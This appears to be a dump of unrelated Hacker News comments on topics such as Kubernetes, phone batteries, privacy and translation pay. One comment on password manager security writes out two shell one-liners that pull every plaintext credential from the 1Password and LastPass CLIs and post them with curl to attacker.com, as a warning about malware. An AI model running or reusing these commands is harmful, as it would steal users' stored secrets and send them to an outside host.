skysight-inc/HackerNews huggingface dataset:
> and would never meaningfully interact with humans ever again.

Four years ago, you let your keys sit for a few hours. Where was that? The problem with this half of your statement is that it is entirely unknowable. If you can't remember where your keys were four years ago, what makes you think our species will remember any event occurring within the last 50 years 2000 years from now? 10,000 years from now? 5M years from now?
My current record is one week with 1 infrastructure person trying to run small containerized application on Azure. This is specific to Azure (I could get it running on GCP no problem, AWS would be a bit more complex), but it reflects, IMO, how k8s is simplifying operations because I could do it easily with k8s on all of those platforms (and that includes setting and managing the cluster).

I lost track on how many hours (more like man-months, mythical or not) k8s has saved so far in my work, whether it was in team of 2 or team of 15 supporting multiple other teams.
What do you wrt CUDA and linux? I'm a linux person but every time I try and mess around with CUDA the whole thing gets super annoying. I don't want to have to reinstall everything every time there is a kernel upgrade . Maybe there is some trick with WSL2 now?
And I've replaced batteries in 4 phones in 3 years (not all mine, after seeing my phone come back to life, everyone else around me wanted the same service). So I see your anecdote and raise you my anecdote.

It's not easy to replace, since the batteries are glued in and cases are hard to open, but my £10 kit of opening tools has paid for itself about 50 times over already.
The next thing I'd like to see is a rule on maintaining security updates for devices beyond 3-4 years. I'm going to have to give up my perfectly operating 4/5 year old Samsung phone shortly because it'll be falling into the "no support" bracket.
Not changed: Rent-seeking is good for people who collect, and bad for people who pay.

What's changed: automation creating value automatically, different from rent-seeking.
Do we need to have a vaccine contrarian every damn thread posted on this forum and anywhere else on the Internet? We as a society have been over this for 2 years, and every time it's the same ignorant arguments that keep being debunked, and like clockwork every time there's someone ready to voice their pet opinion about the pandemic that goes against any research and common sense.

It's like the hellish version of xkcd's lucky 10,000. I guess it was your turn today.
In my experience, it may be on a detachable flash media, but it is not entirely in flash on the motherboard. That would be counter to 'expandability' concept of UEFI. I have never seen so much flash memory directly on the mobo to support UEFI.
If I understand the new Tesla structural battery pack thing right, it seems the direction for EVs will inevitably be to build batteries in the chassis of the car for lower weight and higher capacity and thus range. If this technique delivers on its promises, there will be no convincing automakers _or_ consumers to prefer swappable batteries, because those will not be able to compete with the specs of the structural battery. And I think to replace that one, you'll have to basically take the whole car apart. I'm interested to see how this is going to develop.

I don't know if the EU law referenced in the forum thread is supposed to apply to mobile phones (are mobile phones household items?), but we can see this already happening there - in order for phones to be thin and slick, they no longer have user-swappable batteries, unless that user happens to be handy with a screw driver and owns the special bits you need to get into the phone. If a ban on hot-gluing batteries is going to be a thing, great, I think adding pull tabs doesn't increase the thickness or the weight of the phone significantly, so that makes sense.

But how is this going to work out with cars with batteries built into their chassis?
Eastern European Guide to Writing Reference Letters
Important to note here is that when it comes to household gadgets and personal electronics, not everything needs to be engineered to have water resistance like a diver's watch.

Making sure something survives splashes or a minute at the bottom of the swimming pool will be enough to keep most of these things working.
I wouldn’t say it is necessarily considered good. Someone or something is always working for it.
Not if they judge that Russia will squander their support and lose all the same.
> Many of his early attempts failed, but eventually, he began to win decisions that resulted in thousands of dollars in penalties for the offending companies.

I'd love to know what the strategy is to succeed.
It seems the air defences were indeed in Erbil: https://globalcomment.com/how-effective-air-defences-in-iraq...

As far as implementation, yes of course the implementation would be different, but it bears to notice it is made by the same company. Is it really reasonable to expect Raytheon to fail at making competent air defences and greatly overstate their capabilities for Patriot, whereas their naval missiles are nearly perfect?
Kubernetes has always had poor design decisions that have rarely ever been improved, because the designers care more about keeping people using their system than making it simpler. The way forward is not to keep adding abstractions to get around these design problems. The way forward is to fix the design.

We need something simpler than K8s. Something that does not need a million abstractions, yet accomplishes the basic goals that we want: efficiency, scalability, security, reliability, reproducibility, immutability, etc.

I think the future we should be driving for is a distributed operating system. A real operating system whose primitives run distributed applications. K8s already reproduces features that exist in the kernel, and the kernel already does a lot of the heavy lifting of networking and containerization. What's left is to add userland and kernel features so apps can make a syscall or library call to tell the operating system how they'd like to scale, or deploy, or be traced, etc. This would simplify without adding abstractions. It would also be controlled by the open source world, rather than by corporations, making an incentive to finally get rid of crappy design patterns and make the right design be top priority.

Those of you who have used Mosix clusters already have an idea how simple and effective this can be. SSI clusters didn't take off because they were focused on unmodified applications, and sharing memory and threads across systems is hard. But by requiring applications to design themselves for a distributed OS, we can instead allow apps to run independently yet communicate seamlessly across systems as if they were just on one.
Hard to imagine that this film was shocking in 1972.

Rachel Carson's Silent Spring had been out for 10 years (note the
name), the Deep Ecology Movement's creed coincided with Silent Running
when Arne Naess formulated what became "Environmentalism". People were
exhausted and horrified at the end of the Vietnam War after the whole
shitshow descended into chemical warfare of mass defoliation using
Agent Orange. In the UK, the "self-sufficiency" movement was in full
swing and where I lived we grew more than half of our food.

In the film Freeman Lowell murders his crewmates rather than destroy
trees and flowers, hence the label as a "counter-culture" movie and
surrounding controversy.

I was too young to be allowed to watch it on TV when it screened
around 1976, but I sneaked a look through the door. A year later I was
watching the mass murder of evil imperial stoomtroopers at the cinema.
No problem with that.

The idea that some humans might choose to put the lives of other
humans second to plants and animals remains problematic to this day.
"Eco-terrorists" are always "crazies". Yet a young person said to me
just this week that the next war the USA fights should not be with
Russia, but with Brazil, because "more is at stake". Not sure what to
make of that.
Constructor inject is generally a positive here, though, as the compiler will tell you where you need to add the new dependency. If you find that you have to add the dependency in lots of places just to satisfy the compiler, not because the functionality actually requires the dependency, that's usually a sign the class should be broken up into classes with more clearly defined responsibilities.
What racist action are you referring to?
Err..... Not exactly!

https://ourworldindata.org/grapher/nuclear-renewables-electr...
The difference is that cruise missiles in a naval envieonment are much easier to shoot down.
> by 1944, the US held most of the world’s gold

What actually caused this? Countries buying US arms in the lead up to ww2?
> The PM never has a good answer

Hmm. Perhaps I've had good luck with PMs. I've actually generally been impressed by some of the insights I've received from PMs about how to prioritize business interests. Most recently, there was a question of what to do in the case that data coming from the client is inconsistent with what is on the server. The proposal was to throw an error. PM said that, whatever we do, it should not interrupt or block communication, which answer simplified the remaining discussion.
> I've never understood the obsession with Spivak

Maybe one can be so happy about having made it through such a tough subject that it has to be a good book? I mean, do people normaly study from more than one text?!

> ...to give people a flavour of university style mathematics

I've just started The Foundations of Mathematics by Ian Stewart & David Tall.
So far it's really promising.
From what I recall, some services that rounded locations could still be abused by brute forcing the current location of the attacker to identify the threshold of rounding. This has been mitigated in some cases by changing the rounding threshold or truncating the value.
Autoscaling is honestly a minor thing (I have yet to use Autoscaling other than cluster autoscaling since 2016) and autotuning... what autotuning are you talking about? The binpacking support?

Also, I do wonder what "elegant way" would be, considering that k8s is a very elegant system (once you notice that YAML is just one of the serialization formats to make it easier for raw API access by humans).
We need much bigger changes to bend that curve. We have done so little when measured against what needs to happen.

I still think anything that helps is worth acknowledging.
> normal extravagant mansion.

There's an oxymoron if I've ever heard one.
Why not both? Checking out one data point, the US is a shade lighter, but they're both in the negative.

https://ourworldindata.org/grapher/human-rights-protection
It is non obvious but important to understand that most password managers, such as 1password, Lastpass, and almost everything else, expose all secrets to malware in plain text any time the password database is unlocked.
Here are some trivial examples of how malware can steal credentials in bulk.

Example: Exfiltrate all plaintext credentials from 1password

``` op list items | jq -r '.[].uuid' | xargs -n1 bash -c 'op get item "$1"' -- | curl -F 'p=<-' https://attacker.com >/dev/null 2>&1 ```

Example: Exfiltrate all plaintext credentials from lastpass

``` lpass ls | grep -oP '(?<=id: )([0-9]+)' | xargs -n1 bash -c 'lpass ls | grep "id: $1]"; lpass show $1' -- | curl -F 'p=<-' https://attacker.com >/dev/null 2>&1 ```

I have seen fake password manager browser plugins deployed in the wild that phish and exfiltrate master passwords, though the above methods are even simpler as they could just run a loop waiting until a password manager is eventually unlocked.

Software-only password managers may be useful for casual personal use cases such as food delivery services or social media accounts, but are not recommended for any use cases that protect any significant value like production corporate systems, and in particularly not for high risk secrets such as cloud root account creds, TLS CAs, or crypto-asset keys (you know who you are).

I would strongly encourage for most use cases to consider secret management solutions that decrypt one credential at a time on external hardware such as Password Store backed with a Yubikey, Trezor password manager, or a Mooltipass.

These offer damage control even when your endpoint is compromised.
Ask HN: Why educator think the current education system is good?
It's not like MS wants to make it easy to use a functional or procedural paradigm.

I tried to bind an IConfiguration section to a record but I couldn't since in condensed form a record lacks a default constructor. So I had to write a class like record and add Init to each property to make them immutable.
This is absolutely true, entrenched monopolies, or even a group a companies which have long since decided to stop competing with each other (e.g. canadian banks and phone companies) begin to charge more for less over time. Some of this is intentional too, like the way cities artificially limit the number of taxi licenses. Disruption can be good, but it only gives temporary improvements as a new monopoly will eventually take hold. It's a fundamental feature of the capitalist market system that over time industries consolidate into monopolies (or groups that act like a monopolies) because that's the best way to maximum profits.
You do realize that a nuclear exchange may involve the US on the receiving side right and not only Eastern European part of NATO right?
I also need to be able to quickly communicate with recruiters and managers which roles I would be a good fit for.
LG tvs will let you update firmware over a flash drive! It’s a bit fiddly but worth it in my opinion to avoid the internet connection.
You’re picking on apple but they’re the best when it comes to this… I don’t know a single android phone that’s still usable after five years and still gets software updates. At a certain point the old hardware just can’t handle the new OS as new features get added. Planned obsolescence is certainly a thing but you’d be wise to lobby Samsung to add updates past two years before focusing your wrath on apple.

Edit: looks like Samsung bumped it up to 4 years of updates in 2019
Then, not one Russian astronaut would be allowed in a NASA project in a spatial scale of time, probably.
Among other things, because the ways to bind to a dynamic symbol are multitudinous and frequently painful.

For example, IIRC, ELF dynamic linking occasionally forces the compiler and/or linker through spectacular contortions in order to ensure two pointers to a single function compare equal (as required by the C standard and as happens with static libraries) even if the values being compared originate from two different shared objects, the function itself resides in a third one, and the compiler has no idea which functions are external to the shared object its output will be linked into.

(Windows tells the standard to go take a hike, or more charitably doesn’t attempt to badly emulate the semantics of static linking in dynamic linking. I’m actually with Windows here, even if their executable format is a horrible underdocumented mess.)

Those contortions are not required when the function is only ever called and never has its address taken, except compilers can be pretty naive about that part. Not that they have to be, but at least it’s not an obvious sure thing.
I would think that the design compromises to make batteries interchangeable between vehicles would be too great at the moment.
Also, semi-legitimate companies have affiliate sales programs. So the person making the call may be removed from the company ultimately offering the service. And you'll never find out who they are.
> "Kernel proper - This is mostly written in C.

thank you

only took 17 hours to get there, but we finally got there
What do you think of mixing things like crossplane (and other "operators" wrapping provider-specific bits) together with KubeFedV2?
I work with a housing organisation. We don't install induction hobs due to the potential for unfortunate interaction with pacemakers.

Worth being aware. https://www.bhf.org.uk/informationsupport/heart-matters-maga...
This is a late reply, but I'd been thinking on what you said and wanted to figure out where my disagreement lay. I think the biggest issue is that scale must be considered, and not merely whether each individual action is justified.

* Asking if somebody saw Brian at the bar last night is acceptable. Asking everybody if they saw Brian somewhere is acceptable in limited circumstances, such as Brian having been kidnapped. Asking everybody to list out who they saw and when is an unacceptable violation of privacy.

* Street photography is acceptable. Taking a picture once every day of the same house may be acceptable, such as if it is a historically interesting building, or if it is your own house. Collecting millions of street photographs, along with the time they were taken and who was in each photograph, is an unacceptable violation of privacy.

* CCTV is acceptable. Maintaining records of CCTV indefinitely may be acceptable, depending on the type of building. (e.g. The Pentagon may be justified in keeping CCTV recordings indefinitely, but the local laundromat is not.) Linking CCTV cameras together into a centralized query-able network that tracks people between locations is an unacceptable violation of privacy.

There are two common features that I realized in these examples. First, even if an individual action is acceptable and justified, repetition and coordination of that action may not be. This is similar to how saying hello when crossing paths with somebody is a courtesy and a pleasantry, but saying hello to the same person every 30 seconds is stalking. The difference in scale produces a different in outcome.

Second, there exist gradations of privacy, rather than being a binary divide between public and private spaces. Between a completely private space, such as a person inside their own home with the windows drawn, and a completely public space, such as a person giving a speech on live TV, there are intermediate spaces. A person who is walking down the street has partial privacy, where their actions may be remembered by passersby for a day or two, but wouldn't be remembered a month or a year later. In the past, these gradations of privacy were maintained by the limits of human memory and the high cost of technological memory, but the cost of technological memory has fallen to a point where this social construct is breaking down.

Summing up, I would say that we cannot have a modern technological society if we *don't* treat tracking with the same concern we treat medical consent.
Every company out there has, wants, or wishes they could transform their goods or services into recurring revenue. The Apple “cloud” pivot contributed heavily to their market cap growth to and above 1T. Literal rent seeking.
I fancy doing the domain modeling in F# since it lends well to that and the business logic in C#.

https://fsharpforfunandprofit.com/ddd/
I don’t know about Lastpass, but the 1password CLI app is a separate install for sophisticated users and if I’m not mistaken, logins are scoped to the current shell session.
In “Time & The Art of Living”, Robert Grudin structured his chapters and verses after this calendar.

In the last (or so) chapter he explicitly discusses decimal time, and the beauty of being able to calculate and reason about the calendar.

He also made some suggestions on using 20-hour days as a way of making it slightly more compatible to the 24-hour day.
I've been happily using syncthing for 2 years now. Syncs my password files between 3 computers and 2 phones.
> There absolutely isn't a labor shortage with translators. There's plenty of talent out there, it's just that many are not willing to work for the peanuts that big companies are offering so they end up doing something else to get by instead.

If there is insufficient supply to meet demand at the market price, this information is irrelevant. Whether or not there are enough people capable of being in the translation market, there aren't enough actually in it to satisfy demand. There must be a structural issue on the other end causing the translations not to be valuable enough to the would-be purchaser to raise pay and clear the market. That creates this set of circumstances.
My Casio watch normally syncs six times a day from the DCF77 transmitter in Frankfurt. In freak weather it may occasionally skip a sync or two, but otherwise it has been rock steady through more than two years of operation. Until about five days ago. Every attempt has failed since then.

Meanwhile, two wallclocks have been sitting with flashing sync-icon for a couple of days, but now seem to be online again. Presumably, they have much larger antennae than my Casio.

Someone knowledgeable, please explain to me: Is the signal potentially being tinkered with, or is this just a strange coincidence?
I am fluent in important strategic and business languages. Any translator job offer I have recieved has always tried to pay people around $25 per hour but calculated by the second with all downtime excluded.

If I worked in IT, my downtime could be spent learning new skills and getting paid to do it. Working as a translator and you have a take home pay of about $4 per hour as your downtime is not compensated, like a waiter without tips.

I am sure there are better translation gigs out there -- but the entire field has "avoid like the plague" written all over it.
That's exactly how I do it.
Disruption these days is mostly about playing by a set of rules you invent for yourself to get an edge on the competition and calling it innovation. It's rare that real innovation is used to disrupt.

Imagine disrupting any industry where some form of accreditation is required by making an app which allows any person to perform those services. Anyone could be a doctor, lawyer, notary, etc. with no license needed. That's not disruption, that's breaking the law until the company is big enough to bribe (lobby) to change the law to allow that. That's literally Über-style "disruption".
http://upm.sourceforge.net/
And with terraform, you're going to be writing pretty much from scratch with every provider out there, as outside of very basics of infrastructure the offerings differ wildly, and even if all you need is a VM with dumb load balancer you have to write ~5x$CLOUD_PROVIDERS resources and abstract it around.

Personally k8s is least interesting in scaling, because you could easily scale with other options if you had money to burn
I'm redoing my kitchen (in the US) with induction and ruled out anything with touch controls. I noticed that particular issue as soon as I stepped into the showroom. Thanks for letting me know about the auto-off problem.

The other problem to watch out for is poor reliability due to gradual "cooking" of the circuit board -- after all, the knobs are not physically connected to the power electronics; they're just a digital input to a controller, same as for the touch controlled units.

The showroom had this Beko range with knobs and no Wifi or "smart" stuff for ~half the starting price of their (so-called) "pro" ranges: https://www.yaleappliance.com/kitchen/cooking-appliances/ran...

I think I'm going with this GE ("Café") double-oven option for my small kitchen, as long as I can confirm the Wifi stuff is strictly optional and isn't in the failure path: https://www.yaleappliance.com/kitchen/cooking-appliances/ran...

Other options with knobs were from Miele, Fischer and Paykel, and (less expensively) LG. I believe Samsung also sells a range with knobs; see the photo in the article.